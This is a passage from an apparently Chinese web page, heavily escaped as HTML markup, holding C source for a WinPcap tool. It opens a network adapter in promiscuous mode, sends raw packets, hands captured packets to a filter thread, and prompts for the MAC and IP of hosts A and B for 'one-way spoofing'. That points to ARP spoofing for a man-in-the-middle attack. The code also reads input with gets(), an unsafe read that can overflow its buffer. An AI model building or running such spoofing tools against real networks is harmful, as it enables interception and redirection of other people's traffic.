style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_next_ex(hpcap,&amp;pkthdr,&amp;recvBuff)&gt;0)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PI.Packet=&amp;recvBuff;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PI.pkthdr=*pkthdr;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle((hFilterThread=CreateThread(NULL,0,filter,(PVOID)&amp;PI,0,NULL)));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(recvBuff);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;\/\/A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;Input(char&nbsp;*A_MAC,char&nbsp;*A_IP,char&nbsp;*B_MAC,char&nbsp;*B_IP)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684MAC:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;A_MAC[0],&amp;A_MAC[1],&amp;A_MAC[2],&amp;A_MAC[3],&amp;A_MAC[4],&amp;A_MAC[5])!=6)&nbsp;exit(-1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684IP:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;gets(A_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684MAC:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;B_MAC[0],&amp;B_MAC[1],&amp;B_MAC[2],&amp;B_MAC[3],&amp;B_MAC[4],&amp;B_MAC[5])!=6)&nbsp;exit(-1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684IP:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;gets(B_IP);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 